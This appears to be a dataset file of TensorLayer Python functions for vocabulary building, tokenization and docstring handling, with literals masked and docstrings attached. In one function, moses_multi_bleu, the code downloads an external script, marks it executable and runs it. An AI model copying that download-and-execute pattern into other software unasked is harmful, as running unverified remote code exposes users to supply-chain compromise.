vocabulary object\n\n    >>> vocab = tl.nlp.Vocabulary('vocab.txt', start_word=\"<S>\", end_word=\"</S>\", unk_word=\"<UNK>\")\n    INFO:tensorflow:Initializing vocabulary from file: vocab.txt\n    [TL] Vocabulary from vocab.txt : <S> </S> <UNK>\n    vocabulary with 10 words (includes start_word, end_word, unk_word)\n        start_id: 2\n        end_id: 3\n        unk_id: 9\n        pad_id: 0", "id": "f11210:m4"}
{"signature": "def simple_read_words(filename=\"<STR_LIT>\"):", "body": "with open(filename, \"<STR_LIT:r>\") as f:<EOL><INDENT>words = f.read()<EOL>return words<EOL><DEDENT>", "docstring": "Read context from file without any preprocessing.\n\n    Parameters\n    ----------\n    filename : str\n        A file path (like .txt file)\n\n    Returns\n    --------\n    str\n        The context in a string.", "id": "f11210:m5"}
{"signature": "def read_words(filename=\"<STR_LIT>\", replace=None):", "body": "if replace is None:<EOL><INDENT>replace = ['<STR_LIT:\\n>', '<STR_LIT>']<EOL><DEDENT>with tf.gfile.GFile(filename, \"<STR_LIT:r>\") as f:<EOL><INDENT>try:  <EOL><INDENT>context_list = f.read().replace(*replace).split()<EOL><DEDENT>except Exception:  <EOL><INDENT>f.seek(<NUM_LIT:0>)<EOL>replace = [x.encode('<STR_LIT:utf-8>') for x in replace]<EOL>context_list = f.read().replace(*replace).split()<EOL><DEDENT>return context_list<EOL><DEDENT>", "docstring": "Read list format context from a file.\n\n    For customized read_words method, see ``tutorial_generate_text.py``.\n\n    Parameters\n    ----------\n    filename : str\n        a file path.\n    replace : list of str\n        replace original string by target string.\n\n    Returns\n    -------\n    list of str\n        The context in a list (split using space).", "id": "f11210:m6"}
{"signature": "def read_analogies_file(eval_file='<STR_LIT>', word2id=None):", "body": "if word2id is None:<EOL><INDENT>word2id = {}<EOL><DEDENT>questions = []<EOL>questions_skipped = <NUM_LIT:0><EOL>with open(eval_file, \"<STR_LIT:rb>\") as analogy_f:<EOL><INDENT>for line in analogy_f:<EOL><INDENT>if line.startswith(b\"<STR_LIT::>\"):  <EOL><INDENT>continue<EOL><DEDENT>words = line.strip().lower().split(b\"<STR_LIT:U+0020>\")  <EOL>ids = [word2id.get(w.strip()) for w in words]<EOL>if None in ids or len(ids) != <NUM_LIT:4>:<EOL><INDENT>questions_skipped += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>questions.append(np.array(ids))<EOL><DEDENT><DEDENT><DEDENT>tl.logging.info(\"<STR_LIT>\" % eval_file)<EOL>tl.logging.info(\"<STR_LIT>\", len(questions))<EOL>tl.logging.info(\"<STR_LIT>\", questions_skipped)<EOL>analogy_questions = np.array(questions, dtype=np.int32)<EOL>return analogy_questions<EOL>", "docstring": "Reads through an analogy question file, return its id format.\n\n    Parameters\n    ----------\n    eval_file : str\n        The file name.\n    word2id : dictionary\n        a dictionary that maps word to ID.\n\n    Returns\n    --------\n    numpy.array\n        A ``[n_examples, 4]`` numpy array containing the analogy question's word IDs.\n\n    Examples\n    ---------\n    The file should be in this format\n\n    >>> : capital-common-countries\n    >>> Athens Greece Baghdad Iraq\n    >>> Athens Greece Bangkok Thailand\n    >>> Athens Greece Beijing China\n    >>> Athens Greece Berlin Germany\n    >>> Athens Greece Bern Switzerland\n    >>> Athens Greece Cairo Egypt\n    >>> Athens Greece Canberra Australia\n    >>> Athens Greece Hanoi Vietnam\n    >>> Athens Greece Havana Cuba\n\n    Get the tokenized analogy question data\n\n    >>> words = tl.files.load_matt_mahoney_text8_dataset()\n    >>> data, count, dictionary, reverse_dictionary = tl.nlp.build_words_dataset(words, vocabulary_size, True)\n    >>> analogy_questions = tl.nlp.read_analogies_file(eval_file='questions-words.txt', word2id=dictionary)\n    >>> print(analogy_questions)\n    [[ 3068  1248  7161  1581]\n    [ 3068  1248 28683  5642]\n    [ 3068  1248  3878   486]\n    ...,\n    [ 1216  4309 19982 25506]\n    [ 1216  4309  3194  8650]\n    [ 1216  4309   140   312]]", "id": "f11210:m7"}
{"signature": "def build_vocab(data):", "body": "<EOL>counter = collections.Counter(data)<EOL>count_pairs = sorted(counter.items(), key=lambda x: (-x[<NUM_LIT:1>], x[<NUM_LIT:0>]))<EOL>words, _ = list(zip(*count_pairs))<EOL>word_to_id = dict(zip(words, range(len(words))))<EOL>return word_to_id<EOL>", "docstring": "Build vocabulary.\n\n    Given the context in list format.\n    Return the vocabulary, which is a dictionary for word to id.\n    e.g. {'campbell': 2587, 'atlantic': 2247, 'aoun': 6746 .... }\n\n    Parameters\n    ----------\n    data : list of str\n        The context in list format\n\n    Returns\n    --------\n    dictionary\n        that maps word to unique ID. e.g. {'campbell': 2587, 'atlantic': 2247, 'aoun': 6746 .... }\n\n    References\n    ---------------\n    - `tensorflow.models.rnn.ptb.reader <https://github.com/tensorflow/tensorflow/tree/master/tensorflow/models/rnn/ptb>`_\n\n    Examples\n    --------\n    >>> data_path = os.getcwd() + '/simple-examples/data'\n    >>> train_path = os.path.join(data_path, \"ptb.train.txt\")\n    >>> word_to_id = build_vocab(read_txt_words(train_path))", "id": "f11210:m8"}
{"signature": "def build_reverse_dictionary(word_to_id):", "body": "reverse_dictionary = dict(zip(word_to_id.values(), word_to_id.keys()))<EOL>return reverse_dictionary<EOL>", "docstring": "Given a dictionary that maps word to integer id.\n    Returns a reverse dictionary that maps a id to word.\n\n    Parameters\n    ----------\n    word_to_id : dictionary\n        that maps word to ID.\n\n    Returns\n    --------\n    dictionary\n        A dictionary that maps IDs to words.", "id": "f11210:m9"}
{"signature": "def build_words_dataset(words=None, vocabulary_size=<NUM_LIT>, printable=True, unk_key='<STR_LIT>'):", "body": "if words is None:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>count = [[unk_key, -<NUM_LIT:1>]]<EOL>count.extend(collections.Counter(words).most_common(vocabulary_size - <NUM_LIT:1>))<EOL>dictionary = dict()<EOL>for word, _ in count:<EOL><INDENT>dictionary[word] = len(dictionary)<EOL><DEDENT>data = list()<EOL>unk_count = <NUM_LIT:0><EOL>for word in words:<EOL><INDENT>if word in dictionary:<EOL><INDENT>index = dictionary[word]<EOL><DEDENT>else:<EOL><INDENT>index = <NUM_LIT:0>  <EOL>unk_count += <NUM_LIT:1><EOL><DEDENT>data.append(index)<EOL><DEDENT>count[<NUM_LIT:0>][<NUM_LIT:1>] = unk_count<EOL>reverse_dictionary = dict(zip(dictionary.values(), dictionary.keys()))<EOL>if printable:<EOL><INDENT>tl.logging.info('<STR_LIT>' % len(collections.Counter(words).keys()))<EOL>tl.logging.info('<STR_LIT>'.format(vocabulary_size))<EOL><DEDENT>if len(collections.Counter(words).keys()) < vocabulary_size:<EOL><INDENT>raise Exception(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>return data, count, dictionary, reverse_dictionary<EOL>", "docstring": "Build the words dictionary and replace rare words with 'UNK' token.\n    The most common word has the smallest integer id.\n\n    Parameters\n    ----------\n    words : list of str or byte\n        The context in list format. You may need to do preprocessing on the words, such as lower case, remove marks etc.\n    vocabulary_size : int\n        The maximum vocabulary size, limiting the vocabulary size. Then the script replaces rare words with 'UNK' token.\n    printable : boolean\n        Whether to print the read vocabulary size of the given words.\n    unk_key : str\n        Represent the unknown words.\n\n    Returns\n    --------\n    data : list of int\n        The context in a list of ID.\n    count : list of tuple and list\n        Pair words and IDs.\n            - count[0] is a list : the number of rare words\n            - count[1:] are tuples : the number of occurrence of each word\n            - e.g. [['UNK', 418391], (b'the', 1061396), (b'of', 593677), (b'and', 416629), (b'one', 411764)]\n    dictionary : dictionary\n        It is `word_to_id` that maps word to ID.\n    reverse_dictionary : a dictionary\n        It is `id_to_word` that maps ID to word.\n\n    Examples\n    --------\n    >>> words = tl.files.load_matt_mahoney_text8_dataset()\n    >>> vocabulary_size = 50000\n    >>> data, count, dictionary, reverse_dictionary = tl.nlp.build_words_dataset(words, vocabulary_size)\n\n    References\n    -----------------\n    - `tensorflow/examples/tutorials/word2vec/word2vec_basic.py <https://github.com/tensorflow/tensorflow/blob/r0.7/tensorflow/examples/tutorials/word2vec/word2vec_basic.py>`__", "id": "f11210:m10"}
{"signature": "def words_to_word_ids(data=None, word_to_id=None, unk_key='<STR_LIT>'):", "body": "if data is None:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>if word_to_id is None:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>word_ids = []<EOL>for word in data:<EOL><INDENT>if word_to_id.get(word) is not None:<EOL><INDENT>word_ids.append(word_to_id[word])<EOL><DEDENT>else:<EOL><INDENT>word_ids.append(word_to_id[unk_key])<EOL><DEDENT><DEDENT>return word_ids<EOL>", "docstring": "Convert a list of string (words) to IDs.\n\n    Parameters\n    ----------\n    data : list of string or byte\n        The context in list format\n    word_to_id : a dictionary\n        that maps word to ID.\n    unk_key : str\n        Represent the unknown words.\n\n    Returns\n    --------\n    list of int\n        A list of IDs to represent the context.\n\n    Examples\n    --------\n    >>> words = tl.files.load_matt_mahoney_text8_dataset()\n    >>> vocabulary_size = 50000\n    >>> data, count, dictionary, reverse_dictionary = tl.nlp.build_words_dataset(words, vocabulary_size, True)\n    >>> context = [b'hello', b'how', b'are', b'you']\n    >>> ids = tl.nlp.words_to_word_ids(words, dictionary)\n    >>> context = tl.nlp.word_ids_to_words(ids, reverse_dictionary)\n    >>> print(ids)\n    [6434, 311, 26, 207]\n    >>> print(context)\n    [b'hello', b'how', b'are', b'you']\n\n    References\n    ---------------\n    - `tensorflow.models.rnn.ptb.reader <https://github.com/tensorflow/tensorflow/tree/master/tensorflow/models/rnn/ptb>`__", "id": "f11210:m11"}
{"signature": "def word_ids_to_words(data, id_to_word):", "body": "return [id_to_word[i] for i in data]<EOL>", "docstring": "Convert a list of integer to strings (words).\n\n    Parameters\n    ----------\n    data : list of int\n        The context in list format.\n    id_to_word : dictionary\n        a dictionary that maps ID to word.\n\n    Returns\n    --------\n    list of str\n        A list of string or byte to represent the context.\n\n    Examples\n    ---------\n    >>> see ``tl.nlp.words_to_word_ids``", "id": "f11210:m12"}
{"signature": "def save_vocab(count=None, name='<STR_LIT>'):", "body": "if count is None:<EOL><INDENT>count = []<EOL><DEDENT>pwd = os.getcwd()<EOL>vocabulary_size = len(count)<EOL>with open(os.path.join(pwd, name), \"<STR_LIT:w>\") as f:<EOL><INDENT>for i in xrange(vocabulary_size):<EOL><INDENT>f.write(\"<STR_LIT>\" % (tf.compat.as_text(count[i][<NUM_LIT:0>]), count[i][<NUM_LIT:1>]))<EOL><DEDENT><DEDENT>tl.logging.info(\"<STR_LIT>\" % (vocabulary_size, name, pwd))<EOL>", "docstring": "Save the vocabulary to a file so the model can be reloaded.\n\n    Parameters\n    ----------\n    count : a list of tuple and list\n        count[0] is a list : the number of rare words,\n        count[1:] are tuples : the number of occurrence of each word,\n        e.g. [['UNK', 418391], (b'the', 1061396), (b'of', 593677), (b'and', 416629), (b'one', 411764)]\n\n    Examples\n    ---------\n    >>> words = tl.files.load_matt_mahoney_text8_dataset()\n    >>> vocabulary_size = 50000\n    >>> data, count, dictionary, reverse_dictionary = tl.nlp.build_words_dataset(words, vocabulary_size, True)\n    >>> tl.nlp.save_vocab(count, name='vocab_text8.txt')\n    >>> vocab_text8.txt\n    UNK 418391\n    the 1061396\n    of 593677\n    and 416629\n    one 411764\n    in 372201\n    a 325873\n    to 316376", "id": "f11210:m13"}
{"signature": "def basic_tokenizer(sentence, _WORD_SPLIT=re.compile(b\"<STR_LIT>\")):", "body": "words = []<EOL>sentence = tf.compat.as_bytes(sentence)<EOL>for space_separated_fragment in sentence.strip().split():<EOL><INDENT>words.extend(re.split(_WORD_SPLIT, space_separated_fragment))<EOL><DEDENT>return [w for w in words if w]<EOL>", "docstring": "Very basic tokenizer: split the sentence into a list of tokens.\n\n    Parameters\n    -----------\n    sentence : tensorflow.python.platform.gfile.GFile Object\n    _WORD_SPLIT : regular expression for word spliting.\n\n\n    Examples\n    --------\n    >>> see create_vocabulary\n    >>> from tensorflow.python.platform import gfile\n    >>> train_path = \"wmt/giga-fren.release2\"\n    >>> with gfile.GFile(train_path + \".en\", mode=\"rb\") as f:\n    >>>    for line in f:\n    >>>       tokens = tl.nlp.basic_tokenizer(line)\n    >>>       tl.logging.info(tokens)\n    >>>       exit()\n    [b'Changing', b'Lives', b'|', b'Changing', b'Society', b'|', b'How',\n      b'It', b'Works', b'|', b'Technology', b'Drives', b'Change', b'Home',\n      b'|', b'Concepts', b'|', b'Teachers', b'|', b'Search', b'|', b'Overview',\n      b'|', b'Credits', b'|', b'HHCC', b'Web', b'|', b'Reference', b'|',\n      b'Feedback', b'Virtual', b'Museum', b'of', b'Canada', b'Home', b'Page']\n\n    References\n    ----------\n    - Code from ``/tensorflow/models/rnn/translation/data_utils.py``", "id": "f11210:m14"}
{"signature": "def create_vocabulary(<EOL>vocabulary_path, data_path, max_vocabulary_size, tokenizer=None, normalize_digits=True,<EOL>_DIGIT_RE=re.compile(br\"<STR_LIT>\"), _START_VOCAB=None<EOL>):", "body": "if _START_VOCAB is None:<EOL><INDENT>_START_VOCAB = [b\"<STR_LIT>\", b\"<STR_LIT>\", b\"<STR_LIT>\", b\"<STR_LIT>\"]<EOL><DEDENT>if not gfile.Exists(vocabulary_path):<EOL><INDENT>tl.logging.info(\"<STR_LIT>\" % (vocabulary_path, data_path))<EOL>vocab = {}<EOL>with gfile.GFile(data_path, mode=\"<STR_LIT:rb>\") as f:<EOL><INDENT>counter = <NUM_LIT:0><EOL>for line in f:<EOL><INDENT>counter += <NUM_LIT:1><EOL>if counter % <NUM_LIT> == <NUM_LIT:0>:<EOL><INDENT>tl.logging.info(\"<STR_LIT>\" % counter)<EOL><DEDENT>tokens = tokenizer(line) if tokenizer else basic_tokenizer(line)<EOL>for w in tokens:<EOL><INDENT>word = re.sub(_DIGIT_RE, b\"<STR_LIT:0>\", w) if normalize_digits else w<EOL>if word in vocab:<EOL><INDENT>vocab[word] += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>vocab[word] = <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>vocab_list = _START_VOCAB + sorted(vocab, key=vocab.get, reverse=True)<EOL>if len(vocab_list) > max_vocabulary_size:<EOL><INDENT>vocab_list = vocab_list[:max_vocabulary_size]<EOL><DEDENT>with gfile.GFile(vocabulary_path, mode=\"<STR_LIT:wb>\") as vocab_file:<EOL><INDENT>for w in vocab_list:<EOL><INDENT>vocab_file.write(w + b\"<STR_LIT:\\n>\")<EOL><DEDENT><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>tl.logging.info(\"<STR_LIT>\" % (vocabulary_path, data_path))<EOL><DEDENT>", "docstring": "r\"\"\"Create vocabulary file (if it does not exist yet) from data file.\n\n    Data file is assumed to contain one sentence per line. Each sentence is\n    tokenized and digits are normalized (if normalize_digits is set).\n    Vocabulary contains the most-frequent tokens up to max_vocabulary_size.\n    We write it to vocabulary_path in a one-token-per-line format, so that later\n    token in the first line gets id=0, second line gets id=1, and so on.\n\n    Parameters\n    -----------\n    vocabulary_path : str\n        Path where the vocabulary will be created.\n    data_path : str\n        Data file that will be used to create vocabulary.\n    max_vocabulary_size : int\n        Limit on the size of the created vocabulary.\n    tokenizer : function\n        A function to use to tokenize each data sentence. If None, basic_tokenizer will be used.\n    normalize_digits : boolean\n        If true, all digits are replaced by `0`.\n    _DIGIT_RE : regular expression function\n        Default is ``re.compile(br\"\\d\")``.\n    _START_VOCAB : list of str\n        The pad, go, eos and unk token, default is ``[b\"_PAD\", b\"_GO\", b\"_EOS\", b\"_UNK\"]``.\n\n    References\n    ----------\n    - Code from ``/tensorflow/models/rnn/translation/data_utils.py``", "id": "f11210:m15"}
{"signature": "def initialize_vocabulary(vocabulary_path):", "body": "if gfile.Exists(vocabulary_path):<EOL><INDENT>rev_vocab = []<EOL>with gfile.GFile(vocabulary_path, mode=\"<STR_LIT:rb>\") as f:<EOL><INDENT>rev_vocab.extend(f.readlines())<EOL><DEDENT>rev_vocab = [tf.compat.as_bytes(line.strip()) for line in rev_vocab]<EOL>vocab = dict([(x, y) for (y, x) in enumerate(rev_vocab)])<EOL>return vocab, rev_vocab<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\", vocabulary_path)<EOL><DEDENT>", "docstring": "Initialize vocabulary from file, return the `word_to_id` (dictionary)\n    and `id_to_word` (list).\n\n    We assume the vocabulary is stored one-item-per-line, so a file will result in a vocabulary {\"dog\": 0, \"cat\": 1}, and this function will also return the reversed-vocabulary [\"dog\", \"cat\"].\n\n    Parameters\n    -----------\n    vocabulary_path : str\n        Path to the file containing the vocabulary.\n\n    Returns\n    --------\n    vocab : dictionary\n        a dictionary that maps word to ID.\n    rev_vocab : list of int\n        a list that maps ID to word.\n\n    Examples\n    ---------\n    >>> Assume 'test' contains\n    dog\n    cat\n    bird\n    >>> vocab, rev_vocab = tl.nlp.initialize_vocabulary(\"test\")\n    >>> print(vocab)\n    >>> {b'cat': 1, b'dog': 0, b'bird': 2}\n    >>> print(rev_vocab)\n    >>> [b'dog', b'cat', b'bird']\n\n    Raises\n    -------\n    ValueError : if the provided vocabulary_path does not exist.", "id": "f11210:m16"}
{"signature": "def sentence_to_token_ids(<EOL>sentence, vocabulary, tokenizer=None, normalize_digits=True, UNK_ID=<NUM_LIT:3>, _DIGIT_RE=re.compile(br\"<STR_LIT>\")<EOL>):", "body": "if tokenizer:<EOL><INDENT>words = tokenizer(sentence)<EOL><DEDENT>else:<EOL><INDENT>words = basic_tokenizer(sentence)<EOL><DEDENT>if not normalize_digits:<EOL><INDENT>return [vocabulary.get(w, UNK_ID) for w in words]<EOL><DEDENT>return [vocabulary.get(re.sub(_DIGIT_RE, b\"<STR_LIT:0>\", w), UNK_ID) for w in words]<EOL>", "docstring": "Convert a string to list of integers representing token-ids.\n\n    For example, a sentence \"I have a dog\" may become tokenized into\n    [\"I\", \"have\", \"a\", \"dog\"] and with vocabulary {\"I\": 1, \"have\": 2,\n    \"a\": 4, \"dog\": 7\"} this function will return [1, 2, 4, 7].\n\n    Parameters\n    -----------\n    sentence : tensorflow.python.platform.gfile.GFile Object\n        The sentence in bytes format to convert to token-ids, see ``basic_tokenizer()`` and ``data_to_token_ids()``.\n    vocabulary : dictionary\n        Mmapping tokens to integers.\n    tokenizer : function\n        A function to use to tokenize each sentence. If None, ``basic_tokenizer`` will be used.\n    normalize_digits : boolean\n        If true, all digits are replaced by 0.\n\n    Returns\n    --------\n    list of int\n        The token-ids for the sentence.", "id": "f11210:m17"}
{"signature": "def data_to_token_ids(<EOL>data_path, target_path, vocabulary_path, tokenizer=None, normalize_digits=True, UNK_ID=<NUM_LIT:3>,<EOL>_DIGIT_RE=re.compile(br\"<STR_LIT>\")<EOL>):", "body": "if not gfile.Exists(target_path):<EOL><INDENT>tl.logging.info(\"<STR_LIT>\" % data_path)<EOL>vocab, _ = initialize_vocabulary(vocabulary_path)<EOL>with gfile.GFile(data_path, mode=\"<STR_LIT:rb>\") as data_file:<EOL><INDENT>with gfile.GFile(target_path, mode=\"<STR_LIT:w>\") as tokens_file:<EOL><INDENT>counter = <NUM_LIT:0><EOL>for line in data_file:<EOL><INDENT>counter += <NUM_LIT:1><EOL>if counter % <NUM_LIT> == <NUM_LIT:0>:<EOL><INDENT>tl.logging.info(\"<STR_LIT>\" % counter)<EOL><DEDENT>token_ids = sentence_to_token_ids(<EOL>line, vocab, tokenizer, normalize_digits, UNK_ID=UNK_ID, _DIGIT_RE=_DIGIT_RE<EOL>)<EOL>tokens_file.write(\"<STR_LIT:U+0020>\".join([str(tok) for tok in token_ids]) + \"<STR_LIT:\\n>\")<EOL><DEDENT><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>tl.logging.info(\"<STR_LIT>\" % target_path)<EOL><DEDENT>", "docstring": "Tokenize data file and turn into token-ids using given vocabulary file.\n\n    This function loads data line-by-line from data_path, calls the above\n    sentence_to_token_ids, and saves the result to target_path. See comment\n    for sentence_to_token_ids on the details of token-ids format.\n\n    Parameters\n    -----------\n    data_path : str\n        Path to the data file in one-sentence-per-line format.\n    target_path : str\n        Path where the file with token-ids will be created.\n    vocabulary_path : str\n        Path to the vocabulary file.\n    tokenizer : function\n        A function to use to tokenize each sentence. If None, ``basic_tokenizer`` will be used.\n    normalize_digits : boolean\n        If true, all digits are replaced by 0.\n\n    References\n    ----------\n    - Code from ``/tensorflow/models/rnn/translation/data_utils.py``", "id": "f11210:m18"}
{"signature": "def moses_multi_bleu(hypotheses, references, lowercase=False):", "body": "if np.size(hypotheses) == <NUM_LIT:0>:<EOL><INDENT>return np.float32(<NUM_LIT:0.0>)<EOL><DEDENT>try:<EOL><INDENT>multi_bleu_path, _ = urllib.request.urlretrieve(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>)<EOL>os.chmod(multi_bleu_path, <NUM_LIT>)<EOL><DEDENT>except Exception:  <EOL><INDENT>tl.logging.info(\"<STR_LIT>\")<EOL>metrics_dir = os.path.dirname(os.path.realpath(__file__))<EOL>bin_dir = os.path.abspath(os.path.join(metrics_dir, \"<STR_LIT:..>\", \"<STR_LIT:..>\", \"<STR_LIT>\"))<EOL>multi_bleu_path = os.path.join(bin_dir, \"<STR_LIT>\")<EOL><DEDENT>hypothesis_file = tempfile.NamedTemporaryFile()<EOL>hypothesis_file.write(\"<STR_LIT:\\n>\".join(hypotheses).encode(\"<STR_LIT:utf-8>\"))<EOL>hypothesis_file.write(b\"<STR_LIT:\\n>\")<EOL>hypothesis_file.flush()<EOL>reference_file = tempfile.NamedTemporaryFile()<EOL>reference_file.write(\"<STR_LIT:\\n>\".join(references).encode(\"<STR_LIT:utf-8>\"))<EOL>reference_file.write(b\"<STR_LIT:\\n>\")<EOL>reference_file.flush()<EOL>with open(hypothesis_file.name, \"<STR_LIT:r>\") as read_pred:<EOL><INDENT>bleu_cmd = [multi_bleu_path]<EOL>if lowercase:<EOL><INDENT>bleu_cmd += [\"<STR_LIT>\"]<EOL><DEDENT>bleu_cmd += [reference_file.name]<EOL>try:<EOL><INDENT>bleu_out = subprocess.check_output(bleu_cmd, stdin=read_pred, stderr=subprocess.STDOUT)<EOL>bleu_out = bleu_out.decode(\"<STR_LIT:utf-8>\")<EOL>bleu_score = re.search(r\"<STR_LIT>\", bleu_out).group(<NUM_LIT:1>)<EOL>bleu_score = float(bleu_score)<EOL><DEDENT>except subprocess.CalledProcessError as error:<EOL><INDENT>if error.output is not None:<EOL><INDENT>tl.logging.warning(\"<STR_LIT>\")<EOL>tl.logging.warning(error.output)<EOL><DEDENT>bleu_score = np.float32(<NUM_LIT:0.0>)<EOL><DEDENT><DEDENT>hypothesis_file.close()<EOL>reference_file.close()<EOL>return np.float32(bleu_score)<EOL>", "docstring": "Calculate the bleu score for hypotheses and references\n    using the MOSES ulti-bleu.perl script.\n\n    Parameters\n    ------------\n    hypotheses : numpy.array.string\n        A numpy array of strings where each string is a single example.\n    references : numpy.array.string\n        A numpy array of strings where each string is a single example.\n    lowercase : boolean\n        If True, pass the \"-lc\" flag to the multi-bleu script\n\n    Examples\n    ---------\n    >>> hypotheses = [\"a bird is flying on the sky\"]\n    >>> references = [\"two birds are flying on the sky\", \"a bird is on the top of the tree\", \"an airplane is on the sky\",]\n    >>> score = tl.nlp.moses_multi_bleu(hypotheses, references)\n\n    Returns\n    --------\n    float\n        The BLEU score\n\n    References\n    ----------\n    - `Google/seq2seq/metric/bleu <https://github.com/google/seq2seq>`__", "id": "f11210:m19"}
{"signature": "def __init__(self, vocab, unk_id):", "body": "self._vocab = vocab<EOL>self._unk_id = unk_id<EOL>", "docstring": "Initialize the vocabulary.", "id": "f11210:c0:m0"}
{"signature": "def word_to_id(self, word):", "body": "if word in self._vocab:<EOL><INDENT>return self._vocab[word]<EOL><DEDENT>else:<EOL><INDENT>return self._unk_id<EOL><DEDENT>", "docstring": "Returns the integer id of a word string.", "id": "f11210:c0:m1"}
{"signature": "def word_to_id(self, word):", "body": "if word in self.vocab:<EOL><INDENT>return self.vocab[word]<EOL><DEDENT>else:<EOL><INDENT>return self.unk_id<EOL><DEDENT>", "docstring": "Returns the integer word id of a word string.", "id": "f11210:c1:m1"}
{"signature": "def id_to_word(self, word_id):", "body": "if word_id >= len(self.reverse_vocab):<EOL><INDENT>return self.reverse_vocab[self.unk_id]<EOL><DEDENT>else:<EOL><INDENT>return self.reverse_vocab[word_id]<EOL><DEDENT>", "docstring": "Returns the word string of an integer word id.", "id": "f11210:c1:m2"}
{"signature": "def private_method(func):", "body": "def func_wrapper(*args, **kwargs):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>outer_frame = inspect.stack()[<NUM_LIT:1>][<NUM_LIT:0>]<EOL>if '<STR_LIT>' not in outer_frame.f_locals or outer_frame.f_locals['<STR_LIT>'] is not args[<NUM_LIT:0>]:<EOL><INDENT>raise RuntimeError('<STR_LIT>' % (args[<NUM_LIT:0>].__class__.__name__, func.__name__))<EOL><DEDENT>return func(*args, **kwargs)<EOL><DEDENT>return func_wrapper<EOL>", "docstring": "Decorator for making an instance method private.", "id": "f11212:m0"}
{"signature": "def protected_method(func):", "body": "def func_wrapper(*args, **kwargs):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>outer_frame = inspect.stack()[<NUM_LIT:1>][<NUM_LIT:0>]<EOL>caller = inspect.getmro(outer_frame.f_locals['<STR_LIT>'].__class__)[:-<NUM_LIT:1>]<EOL>target = inspect.getmro(args[<NUM_LIT:0>].__class__)[:-<NUM_LIT:1>]<EOL>share_subsclass = False<EOL>for cls_ in target:<EOL><INDENT>if issubclass(caller[<NUM_LIT:0>], cls_) or caller[<NUM_LIT:0>] is cls_:<EOL><INDENT>share_subsclass = True<EOL>break<EOL><DEDENT><DEDENT>if ('<STR_LIT>' not in outer_frame.f_locals or<EOL>outer_frame.f_locals['<STR_LIT>'] is not args[<NUM_LIT:0>]) and (not share_subsclass):<EOL><INDENT>raise RuntimeError('<STR_LIT>' % (args[<NUM_LIT:0>].__class__.__name__, func.__name__))<EOL><DEDENT>return func(*args, **kwargs)<EOL><DEDENT>return func_wrapper<EOL>", "docstring": "Decorator for making an instance method private.", "id": "f11212:m1"}
{"signature": "def _add_deprecated_function_notice_to_docstring(doc, date, instructions):", "body": "if instructions:<EOL><INDENT>deprecation_message = \"\"\"<STR_LIT>\"\"\" % (('<STR_LIT>' if date is None else ('<STR_LIT>' % date)), instructions)<EOL><DEDENT>else:<EOL><INDENT>deprecation_message = \"\"\"<STR_LIT>\"\"\" % (('<STR_LIT>' if date is None else ('<STR_LIT>' % date)))<EOL><DEDENT>main_text = [deprecation_message]<EOL>return _add_notice_to_docstring(doc, '<STR_LIT>', main_text)<EOL>", "docstring": "Adds a deprecation notice to a docstring for deprecated functions.", "id": "f11215:m3"}
{"signature": "def _add_notice_to_docstring(doc, no_doc_str, notice):", "body": "if not doc:<EOL><INDENT>lines = [no_doc_str]<EOL><DEDENT>else:<EOL><INDENT>lines = _normalize_docstring(doc).splitlines()<EOL><DEDENT>notice = ['<STR_LIT>'] + notice<EOL>if len(lines) > <NUM_LIT:1>:<EOL><INDENT>if lines[<NUM_LIT:1>].strip():<EOL><INDENT>notice.append('<STR_LIT>')<EOL><DEDENT>lines[<NUM_LIT:1>:<NUM_LIT:1>] = notice<EOL><DEDENT>else:<EOL><INDENT>lines += notice<EOL><DEDENT>return '<STR_LIT:\\n>'.join(lines)<EOL>", "docstring": "Adds a deprecation notice to a docstring.", "id": "f11215:m4"}
{"signature": "def _normalize_docstring(docstring):", "body": "if not docstring:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>lines = docstring.expandtabs().splitlines()<EOL>indent = sys.maxsize<EOL>for line in lines[<NUM_LIT:1>:]:<EOL><INDENT>stripped = line.lstrip()<EOL>if stripped:<EOL><INDENT>indent = min(indent, len(line) - len(stripped))<EOL><DEDENT><DEDENT>trimmed = [lines[<NUM_LIT:0>].strip()]<EOL>if indent < sys.maxsize:<EOL><INDENT>for line in lines[<NUM_LIT:1>:]:<EOL><INDENT>trimmed.append(line[indent:].rstrip())<EOL><DEDENT><DEDENT>while trimmed and not trimmed[-<NUM_LIT:1>]:<EOL><INDENT>trimmed.pop()<EOL><DEDENT>while trimmed and not trimmed[<NUM_LIT:0>]:<EOL><INDENT>trimmed.pop(<NUM_LIT:0>)<EOL><DEDENT>return '<STR_LIT:\\n>'.join(trimmed)<EOL>", "docstring": "Normalizes the docstring.\n\n    Replaces tabs with spaces, removes leading and trailing blanks lines, and\n    removes any indentation.\n\n    Copied from PEP-257:\n    https://www.python.org/dev/peps/pep-0257/#handling-docstring-indentation\n\n    Args:\n        docstring: the docstring to normalize\n\n    Returns:\n        The normalized docstring", "id": "f11215:m5"}
